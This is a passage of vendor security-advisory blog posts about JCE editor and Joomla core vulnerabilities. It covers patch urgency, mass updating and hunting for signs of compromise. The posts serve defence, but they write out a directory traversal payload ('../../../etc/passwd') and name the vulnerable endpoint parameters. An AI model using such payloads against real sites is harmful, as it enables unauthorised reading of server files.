The mass update screen groups every JCE install by the version it can update to, with an "Apply to all" button per group and per-site controls when you want to be selective. Sites stuck on much older branches (2.6, 2.7, 2.8) get patched in the same sweep as ones already on the 2.9.99.x line. Behind the scenes, the platform calls each site's connector, pulls the 2.9.99.5 package from JCE's update server, installs it, and reports back with a pass or fail per site and a log entry against the site. Any site that is offline, firewalled, or running an outdated connector surfaces as a clear failure rather than a silent miss.

Sites with auto-updates enabled were patched overnight

This is exactly the scenario automatic extension updates exist for. The mySites.guru auto-updater pushes security releases like 2.9.99.5 to opted-in Joomla sites without anyone logging in. If your sites are enrolled, the patch has landed, the version is verified, and an audit entry is sitting in the activity log. If they are not, an unauthenticated file upload in your most-installed editor is a good reason to change that. Turn on automatic extension updates and the next time a popular extension ships a security fix, you wake up to "done" rather than "to do." Enable auto-updates from your dashboard or start a free trial if you do not have an account yet.

How quickly should you patch JCE 2.9.99.5?

Faster than you patched 2.9.99.4. Because this flaw is unauthenticated, the usual "only sites with registered users are at risk" reasoning does not apply. Any Joomla site with JCE installed is in scope.

Patch today on any site that is publicly reachable and runs JCE, which is almost all of them. There is no functional change in 2.9.99.5 that would justify holding back, and the update is free and config-free for both Free and Pro.

Patch within 24 to 48 hours at the outside, even for low-traffic brochure sites with no registration. "No registered users" was a mitigating factor for 2.9.99.4. It is not one here.

The risk calculus on an unauthenticated file upload is simple. Applying a clean security patch with no functional changes carries essentially no risk. Leaving it unpatched carries whatever a passing automated scanner decides to do with it, multiplied across every site you have not got to yet. JCE's own 2012 history is the cautionary tale.

Edge cases and gotchas

A few things to watch when rolling 2.9.99.5 across an estate.

Lapsed JCE Pro subscriptions

Both editions pull updates from JCE's own update server, not the Joomla Extensions Directory. The catch for Pro is the subscription key. If a Pro install's subscription has lapsed, 2.9.99.5 will not appear in that site's update list and the site sits silently on the vulnerable version. The fix is to renew, or to drop a temporary key into the site, pull the security release, then sort the renewal afterwards. A practical move is to scan your mySites.guru extension report 48 hours after release for any JCE Pro install still below 2.9.99.5. Those are almost certainly the lapsed subscriptions.

Sites still on JCE branches older than 2.9

A JCE 2.7.x or 2.8.x install on a long-tail Joomla 3 site is far more exposed than this single advisory implies. The 2.9.99.5 fix is for the current branch. Those older 2.7.x and 2.8.x lines have not received it and carry years of unpatched issues on top. The right answer is to bring both Joomla and JCE up to date together. mySites.guru's migration tooling helps triage which sites need the most work. If a client genuinely refuses to modernise, at minimum disable JCE on that site and fall back to TinyMCE or CodeMirror until it can be brought current.

JCE 2.6.x is a special case: the developer confirms it is not affected by this unauthenticated upload in a default configuration, because the import path is blocked and no guest-accessible profile exists by default. It is still unsupported, so plan to migrate it, but it does not carry this specific flaw.

For sites that cannot update: the free patch

The current patched release, 2.9.99.10, needs PHP 7.4 and Joomla 3.10 or later. For sites that genuinely cannot meet that yet, the JCE developer has released a free patch package that closes this unauthenticated upload vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. Treat it as a stopgap: it closes the vulnerability only, without the later hardening from 2.9.99.6 onward, it is provided as-is, and it does not clean a site that was already compromised. Back up and test on a copy first, and still plan to move to a supported Joomla and PHP version, since end-of-life PHP or Joomla leaves the site exposed to other unpatched issues regardless.

Custom Editor Profiles with broad filesystem access

If you previously set up an Editor Profile with broad filesystem access (the whole images/ tree, or worse), audit it after updating. The 2.9.99.5 patch closes the unauthenticated upload route, but least privilege still applies. A profile with broad file permissions remains a high-value target for whatever the next JCE issue turns out to be. Review every profile under Components -> JCE Editor -> Editor Profiles on each site and lock each one to the narrowest path that still lets its user group work.

Checking for signs of compromise

Unlike the authenticated 2.9.99.4 bugs, this one leaves a fingerprint you can hunt for, because the malicious request needs no session. A retrospective audit on a higher-risk site looks like this:

Pull the last 90 days of web server access logs and look for requests to JCE's profile and filesystem endpoints, including upload or import actions, that carry no Joomla session cookie. Unauthenticated requests are the ones that matter here.
Audit your images/, media/, and any custom upload roots for files you did not put there, especially anything with a script extension or a recent timestamp that does not match a known change.
Look for unexpected files anywhere a profile upload could have reached, not only the obvious media directories.

If anything looks deliberate, treat the site as a suspected compromise: rotate Joomla secrets, invalidate active sessions, and run mySites.guru's suspect content scanner against the site to surface backdoors and modified files. For most sites the audit comes up empty, which is the point. Close the chapter deliberately rather than assuming nothing happened because nothing was reported.

JCE and the Joomla Backwards Compatibility plugin

The 2.9.99 branch is native to Joomla 5 and 6 and does not need the Backwards Compatibility plugin. If JCE is the only reason BC is enabled on a site, you can disable BC once 2.9.99.5 is in place, provided your other extensions are also BC-free. For an estate-wide audit of which sites still need BC, see our Joomla compat plugin is a crutch write-up.

Does this affect WordPress?

No. JCE is a Joomla-only editor extension. There is no WordPress build of JCE Pro or JCE Free, no shared codebase, and no equivalent advisory for WordPress. WordPress sites use the core block editor or TinyMCE, which have their own separate histories. If you run a mixed estate, the WordPress half is unaffected by this advisory. The Joomla half needs the update.

The shape of this bug, an access control missing on a request that should have required authorisation, is a recurring one across both platforms. We dug into it in AJAX Endpoints: The Biggest CMS Security Blind Spot, where endpoints that should check who is calling them simply do not, from Smart Slider 3 to Joomla core's own com_ajax router.

JCE Free/Pro 2.9.99.4 Patches Two Authenticated Vulnerabilities in Joomla's Most Popular Editor

phil@mysites.guru (Phil Taylor) — Thu, 28 May 2026 00:00:00 GMT

The whole story in one place: our JCE Profiles Hack page is the page of truth for the attack these flaws lead up to, with the indicators of compromise and the tool that finds and fixes it across every site you manage.

JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It is consistently one of the top two installs in our live extension ranking, neck and neck with Akeeba Backup. If you manage a stack of Joomla sites for clients, the odds that every single one of them has JCE installed are very high.

On 28 May 2026, the JCE developer announced JCE Pro 2.9.99.4 and the matching JCE Free 2.9.99.4. It is a security maintenance release patching two related authenticated vulnerabilities in the editor's Editor Profile and filesystem search code. The fix shipped within 24 hours of the external security report landing, which is fast.

This post covers what was patched, what an attacker could and could not do with the original bugs, how to push the update across every Joomla site you manage with mySites.guru, and why "authenticated only" is not the green light some site owners assume it is.

Update: JCE has shipped several times since. The current version is 2.9.99.10

This page covers 2.9.99.4. Since then, the developer shipped 2.9.99.5 (3 June) to fix a more serious unauthenticated editor profile upload that could be used to upload arbitrary files (CVE-2026-48907), then 2.9.99.6 (8 June), a security hardening release following a full four-day audit of the editor, 2.9.99.7 (18 June, an upload-regression fix and group whitelist), 2.9.99.8 (2 July, a maintenance release that also hardens the File Browser), and 2.9.99.10 (29 July, an authenticated file rename fix plus a broad hardening pass). That unauthenticated flaw is now being actively exploited with public exploit code. Do not stop at 2.9.99.4: update straight to the current 2.9.99.10. Read the JCE 2.9.99.6 advisory or the 2.9.99.5 advisory. For sites that cannot reach the current release (it needs PHP 7.4 and Joomla 3.10+), the developer offers a free patch package for JCE 2.7.x, 2.8.x and 2.9.x.

TL;DR

JCE Pro 2.9.99.4 and JCE Free 2.9.99.4 released 28 May 2026
Patches two authenticated vulnerabilities affecting all previous 2.9.x versions
Bug 1: an authenticated user could access an Editor Profile they were not assigned to and invoke filesystem actions inside that profile's restrictions
Bug 2: a directory parameter in JCE's filesystem search could be manipulated to list folder contents outside the configured root (directory traversal)
Exploitation required a logged-in Joomla session. Anonymous visitors cannot trigger either bug
No CVE numbers assigned at time of writing
Runs natively on Joomla 3, 4, 5, and 6 without the Backwards Compatibility plugin
Update via the Joomla Update Manager or the JCE downloads area
If you manage multiple sites, mySites.guru's mass updater lets you push the update to every affected site in one batch

Why "authenticated only" still matters

Any Joomla site with public registration, a customer portal, a contributor workflow, a membership area, or any non-Super-User account that can log in to the backend or frontend is in scope for this advisory. That is the majority of business Joomla sites. Authenticated-only does not mean admin-only.

What was actually patched in JCE 2.9.99.4?

The JCE security advisory describes two issues. Both are quoted from the developer's release announcement:

Editor Profile access: An authenticated user could potentially access an Editor Profile that they are not assigned to and invoke filesystem actions available to that profile, but within the restrictions of that profile.

Filesystem search directory traversal: A directory parameter could be manipulated to list folder contents beyond configured boundaries.

To unpack what those actually mean, you need a quick refresher on how JCE is wired up.

A quick tour of JCE Editor Profiles

JCE's distinctive feature is its Editor Profiles system. Instead of giving every logged-in user the same editor, JCE lets administrators define different profiles for different user groups. A registered user might get a minimal toolbar with no file uploads. A content editor might get image and file managers scoped to a specific media directory. A super user might get the full editor with arbitrary file operations.

Each profile defines:

Which toolbar buttons are visible
Which file types can be uploaded
Which directories the editor can browse and upload into
Which advanced features (templates, code view, character map, etc.) are exposed

The whole point is privilege separation inside the editor. A subscriber should not be able to invoke the same filesystem actions as a super user, even if they somehow access the editor. The profile assignment is the boundary that enforces that.

Bug 1: Editor Profile assignment bypass

The first vulnerability allowed an authenticated user to invoke filesystem actions through an Editor Profile they were not assigned to. Before the patch, the assignment check in the relevant code path was either missing or could be bypassed by manipulating the request.

The practical impact is constrained by the profile's own permissions. The attacker is still bounded by what the unassigned profile is allowed to do, not promoted to super user. But if a site's super-user-only profile permits, for example, image uploads to the entire images/ tree, a subscriber-level user could potentially route their request through that profile and upload there too, ignoring whatever restriction the subscriber's intended profile imposed.

This matters most on sites where:

A high-privilege profile exists with broad filesystem access
That profile is supposed to be locked to administrators or super users
Lower-privilege user groups exist with frontend or backend login

Bug 2: Directory traversal in filesystem search

The second issue was a classic directory traversal. JCE has a filesystem search feature that lets the editor (within a profile's allowed directories) search for files matching a query. The directory parameter to that search was not adequately sanitised. A manipulated parameter could traverse outside the configured root and list folder contents elsewhere on the server.

Directory traversal vulnerabilities are usually summarised by an example payload like ../../../etc/passwd. In this case, the bug listed folder contents rather than reading file contents directly, which is a lower severity outcome than arbitrary file read. But folder listings still leak information an attacker can use:

Filenames of database backups left in unusual locations
Names of .env, .git/, or wp-config.php.bak style files
The structure of other CMS installations on the same account
Plugin and extension folders for fingerprinting other vulnerabilities

Both bugs interact. The Editor Profile bypass widened which profile an attacker could route through, and the directory traversal widened where that profile could look. The patched 2.9.99.4 closes both.

What the JCE vulnerabilities actually let an attacker do

The advisory is explicit: exploitation required an active, authenticated Joomla session; unauthenticated access was not possible. So an anonymous attacker scanning the internet for vulnerable Joomla sites cannot trigger either bug without an account. That puts this in a different category from Joomla CVE-2025-7771, Smart Slider 3 arbitrary file read, or Novarain Framework's unauthenticated file inclusion.

With an account, though, the picture is less reassuring. A logged-in user could route filesystem actions through an Editor Profile they were never assigned to, bounded by whatever that profile permits but escaping the restrictions of their intended profile. If a super-user profile allowed image uploads to the whole images/ tree, a registered subscriber could potentially upload there too. Combine that with the directory traversal in filesystem search, and the same user could list folder contents outside the configured root — pulling filenames of backups, .env files, wp-config.php.bak, or the layout of adjacent CMS installs to fingerprint other targets.

Neither bug grants direct arbitrary file read or RCE on its own, but both expand what a low-privilege account can see and where it can write inside a profile's permitted operations. That is enough to matter on any site where the gap between "registered user" and "admin" is supposed to be a real boundary.

That fact deflates the urgency somewhat, but it does not zero it out. The set of Joomla sites with at least one registered user beyond Super User is enormous:

E-commerce sites running VirtueMart, HikaShop or J2Store with customer accounts
Membership sites with paid registrations
Community forums (Kunena, EasyDiscuss)
Multi-author publications with editor and author groups
Anywhere user registration is enabled in Global Configuration, even if rarely used
B2B portals where logged-in users are the entire audience

If any of the above describes one of your client sites, authenticated-only is your problem too.

How to update JCE on a single Joomla site

For a single site, the update is unremarkable. Joomla's built-in Extension Update tooling will pick up 2.9.99.4 automatically as soon as the JCE update server publishes it (which is now).

Steps:

Log in to the Joomla administrator
Go to System → Update → Extensions
Click Check for Updates
Select the JCE row in the list
Click Update

If the update does not appear, check that JCE's update site is enabled at System → Update → Update Sites and that the Joomla! Extensions Update component itself has been run recently.

For JCE Pro specifically, you need a valid subscription key entered in Components → JCE Editor → Options → Subscription Key for the Pro update channel to be reachable. JCE Free users get their updates straight from the Joomla extension feed and do not need a key.

After the update completes, hard-refresh the editor in a logged-in browser session to flush cached JCE assets. The version reported under Components → JCE Editor should read 2.9.99.4 once you reload.

How to find every Joomla site with a vulnerable JCE using mySites.guru

That is the easy case. The hard case is "I look after 40 client Joomla sites. Which of them are running an old JCE?"

That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version number. From that index you can answer the JCE 2.9.99.4 question in seconds rather than logging into 40 administrator panels in sequence.

Open the extension search inside your dashboard and look up the Editor - JCE entry. You will see every version of JCE installed across your portfolio, grouped by version number, with every site that runs each version listed below it. Sites still on 2.9.99.3 or earlier are the ones that need attention. Sites already on 2.9.99.4 (or which auto-updated overnight) are green.

You can also filter by JCE Free vs JCE Pro if you maintain a mixed estate. Both editions ship the same security fix in 2.9.99.4 from the same JCE update server, but Pro is gated by a subscription key so it helps to know which sites belong in which group.

mySites.guru subscribers: jump straight to the JCE inventory

Open JCE Extension Search

Lists every JCE install across your connected Joomla sites, grouped by version. Anything on 2.9.99.3 or earlier needs the 2.9.99.4 patch. Not a subscriber? Sign up free and connect your sites.

Push 2.9.99.4 across every affected site in one batch

Once you know which sites are on a vulnerable JCE, you do not patch them one by one. The mySites.guru mass extension updater lets you pick every site running JCE on an outdated version and trigger the update across all of them in one batch.

The screen groups every JCE install across your account by the new version it can update to, with a single "Apply to all" button per group plus per-site Apply Update controls when you want to be selective. Sites stuck on much older versions (v2.6, v2.7, v2.8) get patched in the same sweep as ones already on the 2.9.99.x line.

Behind the scenes the platform calls each site's connector to invoke the Joomla update routine, pulls the 2.9.99.4 package from JCE's update server, installs it, and reports back. You see a progress bar, a final pass/fail per site, and a log entry against the site for the change. If a site is offline, behind a firewall, or has an outdated connector, it surfaces as a clear failure rather than a silent miss.

For agencies running scheduled automation, JCE updates can be enrolled in the same overnight extension auto-update flow as everything else. The Automatic Updates for Any Joomla Extension feature already supports JCE Free and JCE Pro through Joomla's native extension update API.

If you would rather hold off auto-updates on production and run the batch update manually after smoke-testing on a staging instance, the same screen lets you tick exactly which sites you want to patch right now and leave the rest.

Thousands of opted-in sites have already been patched automatically

The mySites.guru automatic extension updater has already pushed 2.9.99.4 to thousands of opted-in Joomla sites overnight without anyone having to log in. If your sites are enrolled, the patch has landed, the version has been verified, and an audit entry is sitting in the activity log. If they are not, this is the advisory to change that. Turn on automatic extension updates in your account and the next time a popular extension like JCE ships a security release, you wake up to "done" rather than "to do". Enable auto-updates from your mySites.guru dashboard or start a free trial if you do not have an account yet.

How quickly should you patch JCE 2.9.99.4?

It depends on your sites.

Patch within 24 hours if any of the following are true:

The site allows public user registration
The site has any customer-facing account flow (e-commerce, members, downloads)
You run a community component (Kunena, EasyDiscuss, JomSocial)
You have any history of credential stuffing or compromised low-privilege accounts on the site
The site stores anything sensitive in folders adjacent to JCE's configured roots

Patch within the week for low-traffic brochure sites with no public registration, no customer accounts, and a single Super User. Even here, 2.9.99.4 is a free, no-config drop-in upgrade. Wait until the next scheduled maintenance window and that's fine.

Authenticated-only bugs tend to get deprioritised in agency triage queues until someone publishes a working exploit chain, and then everyone scrambles. JCE 2.9.99.4 is a clean security patch with no functional changes, so the risk of applying it is essentially zero. The risk of not applying it is whatever the next external researcher discovers, multiplied across every site that still has the bug.

Edge cases and gotchas

A handful of things to watch for when rolling out 2.9.99.4 across an estate.

Lapsed JCE Pro subscriptions

Both JCE Free and JCE Pro pull updates from the same JCE update server run by the developer, not from the Joomla Extensions Directory. The catch for Pro is the subscription key. If a Pro install's subscription has lapsed, the 2.9.99.4 update will not appear in the site's Joomla extension update list and the site will silently sit on the old version.

The fix is to renew the subscription (the developer will prompt for it) or to log a temporary key into the site, pull the security release, then sort the renewal properly afterwards.

A practical workflow is to scan your mySites.guru extension report for any JCE Pro install still on a pre-2.9.99.4 version 48 hours after release. Those are almost certainly the sites with lapsed subscriptions.

Custom Editor Profiles with broad filesystem access

If you originally set up an Editor Profile on a high-trust user group with broad filesystem access (the whole images/ tree, or worse, /), audit it after the update. Even though 2.9.99.4 plugs the assignment bypass, the underlying principle of least privilege still applies. A profile with broad filesystem access remains a high-value target for whatever the next JCE issue turns out to be. Lock profiles down to the narrowest path that still lets the user group do their job.

You can review every profile under Components → JCE Editor → Editor Profiles on each site.

Sites still on JCE 2.x branches older than 2.9

If you still have a JCE 2.7.x or 2.8.x install on a long-tail Joomla 3 site, that install is far more exposed than the current advisory implies. The 2.9.99.4 fix is for the 2.9.x branch only. Those older 2.7.x and 2.8.x lines have not received this patch, and almost certainly carry a backlog of unpatched issues going back years, including the unauthenticated profile upload later patched in 2.9.99.5 (CVE-2026-48907).

The right answer is to update the underlying Joomla site to 4 or 5 and bring JCE up to the current 2.9.99.10 at the same time. mySites.guru's migration tooling can help triage which sites need the most work. For sites that genuinely cannot reach the current release (it needs PHP 7.4 and Joomla 3.10 or later), the JCE developer has published a free patch package that closes the unauthenticated upload vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. It is a stopgap that fixes the vulnerability only and does not clean a compromised site, so back up and test on a copy first and still plan to migrate.

JCE 2.6.x is a special case. The developer confirms it is not affected by that unauthenticated upload in a default configuration, because the import path is blocked and no guest-accessible profile exists by default. It is still unsupported and may carry other unpatched issues, so plan to migrate it regardless.

If you genuinely cannot upgrade Joomla on a particular site (some clients refuse, even when the risk is explained), at minimum disable JCE on that site and fall back to TinyMCE or CodeMirror until the site can be modernised.

Checking for signs of prior exploitation

Because both bugs require authentication, the audit trail for any past exploitation lives inside Joomla's own user activity logs and the web server access logs, not in some external IDS feed. There is no fingerprint to scan for the way you would for an unauthenticated remote code execution.

A reasonable retrospective audit on a high-risk site looks like this:

Pull the last 90 days of access logs and grep for requests to JCE's filesystem endpoints. The relevant URLs contain task=plugin.display or plugin=imgmanager/filemanager/browser in the query string, routed through index.php on Joomla 4/5/6 or the JCE controller on Joomla 3.
Filter to requests made by authenticated users (anything carrying a Joomla session cookie). Anonymous requests cannot have triggered either bug.
Cross-reference any unusual paths in the directory parameter against your configured profile roots. Anything pointing well outside the configured root is a candidate for follow-up.
Look for newly created subscriber-level or registered-user accounts that you do not recognise, especially around the time of any suspicious requests. The attacker model here assumes a valid account, and the cheapest way to get one is to register a new one if your site permits.

If you find anything that looks like deliberate probing, treat the site as you would after any other authenticated breach: rotate session keys, invalidate active sessions via Joomla's user management, audit your images/, media/, and any custom-defined upload roots for files you did not put there, and run mySites.guru's suspect content scanner against the site.

For most sites the audit will come up empty, and that's fine. The point is to be deliberate about closing the chapter rather than assuming nothing happened because nothing was reported.

JCE and the Joomla Backwards Compatibility plugin

The 2.9.99 branch is fully native to Joomla 5 and 6 and does not require the Backwards Compatibility plugin. If JCE is the only reason the BC plugin is enabled on a particular site, you can disable BC once 2.9.99.4 is in place, provided your other extensions are also BC-free.

For an estate audit of which sites still need BC and which can shed it, see our Joomla compat plugin is a crutch write-up.

Does this affect WordPress?

No. JCE is a Joomla-only editor extension. There is no WordPress build of JCE Pro or JCE Free, no shared codebase, and no equivalent advisory for WordPress.

WordPress sites use TinyMCE through the WordPress core editor instead, which has its own separate vulnerability history. If you are looking after a mixed Joomla and WordPress estate, the WordPress half of your portfolio is unaffected by this particular advisory. The Joomla half needs the update.

The pattern in this advisory (privilege check bypass on a request that already requires a login) is a recurring shape across both platforms. We dug into the same anti-pattern in AJAX Endpoints: The Biggest CMS Security Blind Spot, where authenticated-but-not-authorised endpoints crop up everywhere from Smart Slider 3 to Joomla core's own com_ajax router.

Joomla 5.4.6 and 6.1.1 Patch TEN Security Issues

phil@mysites.guru (Phil Taylor) — Thu, 28 May 2026 00:00:00 GMT

Joomla shipped 5.4.6 and 6.1.1 on 26 May 2026, closing ten CVEs in a single release. Two are MFA Authentication Bypass issues, one is a High-severity privilege escalation through the com_users batch task, and a pair of XSS bugs in the joomla/filter Framework package have been sitting there since Joomla 3.0.0.

One Joomla site: click Update and move on. Thirty sites: you have a patch night ahead of you, and the order you patch in matters.

Patching Joomla 5.4.6 and 6.1.1 Across a Client Portfolio

The first thing to do on a release like this is take inventory. Which of your sites are on 5.4.5 right now? Which are still on 4.4.x and need to clear 5.4 before they can reach 6.1.1? Which are on 6.1.0 and ready for a single-step bump?

mySites.guru's "Joomla outdated" check answers all three. Every connected Joomla site gets a row showing current version, target version, and a colour code for how far behind it is. After this release, every 5.4.5 and 6.1.0 site is flagged red. You can manage multiple Joomla sites from one dashboard and patch them in a single bulk operation rather than logging in to each admin.

The Joomla 3.10.12 and 5.4.2 rows above are flagged red. WordPress 6.9.4 rows are flagged red too, since 7.0 shipped. One row carries a "1 vulnerable" badge. You see all of it without logging in to a single admin.

Two parts matter most when you have a lot of sites:

Bulk Joomla core upgrade runs the update on every selected site in parallel. Backups are taken first if you've enabled that in your site settings. The same tool handles WordPress, so mixed estates get patched in one pass instead of two patch nights.
Post-upgrade verification confirms the new version actually landed. Sites occasionally hang at "downloading" or fail silently at the database fix step, and a quick hash or status check catches those before a client does.

This is the kind of release the mass-upgrade workflow was built for. Ten CVEs in one go, no cherry-picking, every site on 5.4.5 or 6.1.0 needs the patch tonight. The guide on how to upgrade hundreds of Joomla and WordPress sites from one dashboard walks through the click path, and how to update Joomla, Joomla extensions, WordPress, and WordPress plugins from mySites.guru covers the wider day-to-day workflow once core patching is done.

If you want to see what this looks like before signing up, the free audit runs the same outdated-version check on your sites without asking for a credit card.

Important

You cannot upgrade directly from Joomla 4.x to 6.1.1. The 6.1.1 release notes are explicit: update to 5.4 first, then move to 6.x. The 5.4.6 release itself needs 4.4 as the starting point. Plan two-step paths for any 4.x sites you still operate.

What the Hell Is a "CVE"?

CVE stands for Common Vulnerabilities and Exposures. It is a public catalogue of known security holes in software, maintained by MITRE and mirrored by the US National Vulnerability Database (NVD). Every entry gets a unique ID in the form CVE-YYYY-NNNNN, where the year is when the ID was assigned (not necessarily when the bug was found or fixed).

A few things worth knowing if you have not bumped into them before:

A CVE ID is an identifier, not a severity. "CVE-2026-48898" tells you which bug, not how bad. Severity is a separate rating (Low, Moderate, High, Critical) usually scored against the CVSS framework.
The same CVE can mean different things on different versions of the software. A flaw might be exploitable on one Joomla minor version and not another, which is why the "Affected" column matters.
A CVE is not the patch itself. It is the reference; the patch is whatever new version closes the bug (in this case, 5.4.6 and 6.1.1).
NVD entries lag. When Joomla or another vendor publishes an advisory, the CVE ID is reserved but the NVD page often shows "RESERVED" or "AWAITING ANALYSIS" for several days while NVD analysts write up severity and impact. The vendor advisory is the authoritative source until NVD catches up.

When you manage Joomla sites, reading every CVE in detail isn't the goal. What you need is which CVEs hit your version and how urgent each one is. The table below has both.

The Ten Security Issues in Joomla 5.4.6 and 6.1.1

Joomla's Security Centre published all ten advisories on 26 May 2026. The full list, ordered by severity:

CVE	Severity	Affected	Fix	What it is
CVE-2026-48898	High	4.0.0-5.4.5, 6.0.0-6.1.0	5.4.6, 6.1.1	Privilege escalation through the com_users batch task. Improper access check lets a low-privilege backend user elevate beyond their assigned group.
CVE-2026-48896	Moderate	4.0.0-5.4.5, 6.0.0-6.1.0	5.4.6, 6.1.1	MFA Authentication Bypass. Insufficient state checks in the MFA flow.
CVE-2026-48897	Moderate	4.0.0-5.4.5, 6.0.0-6.1.0	5.4.6, 6.1.1	MFA Authentication Bypass. Incorrectly reset session states.
CVE-2026-48899	Moderate	4.0.0-5.4.5, 6.0.0-6.1.0	5.4.6, 6.1.1	Incorrect Access Control in sample data plugins. Unauthorised users can trigger sample data install actions.
CVE-2026-48903	Moderate	3.0.0-5.4.5, 6.0.0-6.1.0	5.4.6, 6.1.1	XSS in the joomla/filter Framework's `checkAttribute` method. Present since 3.0.0.
CVE-2026-48904	Moderate	4.0.0-5.4.5, 6.0.0-6.1.0	5.4.6, 6.1.1	Privilege escalation through com_users webservice endpoints. Improper access check on the group editing API.
CVE-2026-48905	Moderate	3.0.0-5.4.5, 6.0.0-6.1.0	5.4.6, 6.1.1	XSS in the joomla/filter Framework's `cleanAttributes` code. Present since 3.0.0.
CVE-2026-48900	Low	4.1.0-5.4.5, 6.0.0-6.1.0	5.4.6, 6.1.1	ACL bypass in com_scheduler. Low-priv users can edit task types of existing scheduler tasks.
CVE-2026-48901	Low	4.0.0-5.4.5, 6.0.0-6.1.0	5.4.6, 6.1.1	Incorrect cache key construction for InputFilter objects.
CVE-2026-48902	Low	3.9.0-5.4.5, 6.0.0-6.1.0	5.4.6, 6.1.1	Transport encryption downgrade. Password and username reset links generated as HTTP when "Force SSL" is off. Reaches back to 3.9.0.

NVD entries may show "RESERVED" status for the first few days after disclosure. The authoritative writeups live in the Joomla Security Centre and were live the day the patches dropped.

Eight of the ten affect every install from 4.0.0 onwards. CVE-2026-48900 is scoped to 4.1.0 and later (com_scheduler shipped in 4.1). CVE-2026-48902, 48903 and 48905 reach further back, into the Joomla 3 lineage.

More Security Issues Already Queued for the Next Release

Two open pull requests filed on 2026-05-27 line up three more CVEs for the next 5.4 and 6.1 point releases. PRs #47847 (5.4) and #47848 (6.1) bump bundled symfony/yaml from 6.4.25 (5.4 branch) and 6.4.34 (6.1 branch) to 6.4.41 to close three Symfony-side advisories:

CVE-2026-45304 - YAML Parser exponential memory allocation via recursive collection-alias expansion. The classic "Billion Laughs" attack pattern, transplanted from XML into YAML.
CVE-2026-45305 - ReDoS via catastrophic backtracking in Parser::cleanup() regex.
CVE-2026-45133 - Stack exhaustion via unbounded recursion in nested blocks, sequences, and mappings.

All three are denial-of-service rather than remote code execution. Nobody's site gets hacked Wednesday morning because of them. But they affect every version of symfony/yaml from 2.0.0 through 8.0.11, meaning the buggy code shipped in 2011 and nothing flagged it until 20 May 2026. Fifteen years.

AI Is Accelerating the Security Disclosure Rate

Three Symfony YAML parser CVEs disclosed on the same day, in code that has been sitting in production since 2011, isn't a coincidence. Vulnerability discovery has shifted gear over the last twelve months, and this release is what the new shape looks like.

For most of open source history, finding a security bug needed a human with niche expertise sitting down to read code. The reason a "Billion Laughs" variant in symfony/yaml survived for fifteen years isn't that the code is impossibly complex; it's that few humans had the time or motivation to look. The library worked. It parsed YAML. Almost nobody was going to craft a recursive collection-alias payload at it and watch the memory graph climb.

LLMs have changed the economics. An LLM can read the entire symfony/yaml codebase in seconds, suggest classes of input that might trigger pathological behaviour, and write the fuzzing harness to confirm. A researcher who would have spent a week manually auditing one parser can now sweep a hundred packages in an afternoon.

You can see the same pattern in the Joomla 5.4.6 / 6.1.1 release itself: the credits list on the Joomla Security Centre names "Doyensec (with Claude/Anthropic Research)" against CVE-2026-48896. Expect more attributions like that on future releases.

For an agency, the practical consequences:

Disclosure rate is climbing and will keep climbing. Expect more CVEs per Joomla point release, not fewer, and the same across PHP frameworks, WordPress plugins, and NPM packages.
More disclosures means more theoretical issues. The three symfony/yaml ones above only matter if attacker-controlled YAML reaches a parser on your site, which on most Joomla installs it doesn't. The CVE still gets a number, still appears in composer audit, and still needs an answer when a client asks.
Patch cadence becomes operational. Releases that close ten core CVEs and reference three more queued for the next minor don't fit a rolling once-a-quarter schedule. Thirty sites done by hand was already annoying; fifty during a high-disclosure year isn't sustainable without tooling.

You aren't going to read every CVE on every release. What you need is something that tells you which of your sites are exposed to which fix and lets you patch them in bulk before the next batch lands. That is what the free audit shows you.

Which Security Issue Should You Patch First in Joomla?

The real answer for most agencies is "all of them, at once, because they all need 5.4.6 or 6.1.1 anyway." There is no cherry-picking individual patches out of this release. But if you have a backlog of upgrades and have to phase the rollout, the priority order is:

1. CVE-2026-48898 (com_users batch task privilege escalation)

This is the only High-severity item. The com_users batch task lets administrators apply changes to many users at once: changing groups, resetting passwords, deleting accounts. An improper access check means a backend user with limited rights can use the batch operation to elevate beyond their assigned permissions.

Patch first on any site where you do not personally control every backend account. That includes multi-author publications, sites with freelance editors, anywhere a junior staff member has Manager or Publisher access, and any client site where the user list has grown over years without audit.

2. CVE-2026-48896 and 48897 (MFA Authentication Bypass)

Two distinct issues, both Moderate. CVE-2026-48896 is "insufficient state checks" in the MFA flow. CVE-2026-48897 is "incorrectly reset session states." Both have been present since Joomla 4.0.0.

These only matter if you rely on Joomla's MFA. If you have super-user accounts protected by 2FA on the assumption that a stolen password alone is not enough, that assumption was wrong from 4.0.0 through 5.4.5 and 6.0.0 through 6.1.0. Patch every site running MFA before you patch the ones without it.

3. CVE-2026-48904 (com_users webservice priv-esc)

A privilege escalation parallel to CVE-2026-48898 but reached via the webservice API rather than the HTML admin. Only matters if you have webservices enabled, which most production sites do.

4. The XSS pair (CVE-2026-48903 and 48905)

Both live in the joomla/filter Framework package: checkAttribute and cleanAttributes. Both are described as inadequate content filtering allowing XSS payloads to survive attribute sanitisation. The advisories do not publish concrete bypass payloads, so the practical risk depends on what extensions you have installed that pass user-supplied HTML through the framework filter. Patch in normal rollout order.

5. The Low and remaining Moderate items

CVE-2026-48899 (sample data plugin access control), CVE-2026-48900 (com_scheduler task type editing), CVE-2026-48901 (InputFilter cache key), CVE-2026-48902 (HTTP password reset links). Worth closing, but unlikely to drive a same-night incident.

How Do You Verify a Joomla Bulk Update Actually Worked?

The most common patch-night failure I see isn't patches that break sites. It's patches that silently don't apply: a site reports the new version in the dashboard, but the files on disk are still on the old build. Sometimes the database fix step fails and the site loads while logging errors in the background.

Useful checks after a bulk Joomla update:

Version string check. Hit every site's frontend (or your admin's version display) and confirm it reports 5.4.6 or 6.1.1. mySites.guru's site overview does this on one screen.
Database fix. Joomla's Extensions → Manage → Database tool flags any schema mismatches. Worth running after a Moderate or High patch night. Across 30+ sites doing it by hand is impractical, which is why automating it as part of the update flow matters.
MFA round-trip. Log in to one admin account per site with MFA enabled. The 48896/48897 fixes changed session-state handling, so a quick check catches anything misbehaving.

mySites.guru lists the real version running on your site, not the version Joomla's dashboard thinks is installed. It reads the actual code on disk and shows it alongside every connected site in your console, so a site that hung at "downloading 6.1.1" shows up as still on 6.1.0 even when its admin claims otherwise.

